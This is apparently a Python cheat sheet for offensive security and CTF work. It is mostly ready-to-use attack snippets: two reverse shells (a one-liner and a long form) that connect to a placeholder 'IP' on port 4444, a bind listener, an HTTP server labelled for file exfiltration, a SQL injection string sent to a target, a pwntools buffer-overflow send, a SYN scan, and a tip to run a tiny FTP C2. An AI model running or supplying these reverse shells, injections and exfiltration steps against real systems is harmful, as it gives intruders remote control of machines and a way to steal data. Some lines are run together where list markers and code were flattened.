Python Cheat Sheet (for Security / Scripting)
One-liners
- Quick HTTP server (file exfil)
python3 -m http.server 8000 - Reverse shell one-liner
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])' - Base64 encode/decode
echo -n "text" | base64(shell-side; in python:import base64; base64.b64encode(b"..."))
Networking (sockets)
import socket
s = socket.socket()
s.connect(("10.0.0.1", 1337)) # client
s.sendall(b"PING\n")
print(s.recv(1024))
# simple bind server
srv = socket.socket(); srv.bind(("0.0.0.0", 4444)); srv.listen(1)
conn, addr = srv.accept(); print("conn", addr)
conn.sendall(b"shell-ish echo\n"); conn.close()
HTTP requests (use requests)
import requests
r = requests.get("http://target/", params={"id": "1' OR 1=1-- -"})
print(r.status_code, r.text)
r = requests.post("http://target/login", data={"user": "a", "pass": "b"}, timeout=5)
r2 = r.headers, r.cookies
# session to keep cookies
s = requests.Session(); s.post("http://target/login", data=...)
Subprocess (run shell commands)
import subprocess, shlex
out = subprocess.check_output(shlex.split('nmap -sV 10.0.0.1'), text=True)
subprocess.Popen(['/bin/sh','-i'], stdin=subprocess.PIPE, ...) # spawn interactive
Scapy (packet crafting)
from scapy.all import *
pkt = IP(dst="10.0.0.1")/TCP(dport=80, flags="S")
ans = sr1(pkt, timeout=2) # SYN scan single
ans.show()
pkts = sniff(count=5, filter="tcp port 443") # packet capture
Crypto / Hashing
import hashlib
print(hashlib.md5(b"password").hexdigest())
print(hashlib.sha256(b"password").hexdigest())
# bcrypt (pip install bcrypt)
import bcrypt
bcrypt.hashpw(b"password", bcrypt.gensalt())
File & Encoding Helpers
# reversed bytes / xor
data = bytes.fromhex("deadbeef")
payload = (b"A" * 88) + b"\x00\x11\x22\x33"
# common: write binary payload
open("payload.bin","wb").write(b"\x90"*16 + b"\xcc")
- Base64 URL-safe:
import base64; base64.urlsafe_b64encode(...) - Hex ↔ ascii:
b"AB\x0a".hex()/bytes.fromhex("4142")
CTF/Exploit quickies
- Find bad chars / ROP gadgets via pwntools (
pip install pwntools)from pwn import * p = process("./vuln"); p.sendlineafter(b">", b"A"*64+b"\x40\x06"); p.interactive() conn = remote("target", 1337)
Full Reverse Shell Payload (long form)
import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("IP", 4444))
os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2)
subprocess.call(["/bin/sh", "-i"])
Tips
- Use
venv:python3 -m venv venv && source venv/bin/activate pip install pwntools requests paramiko scapy boto3- Python 2 is EOL — write py3, use
pyftpdlibif a tiny FTP C2 is needed.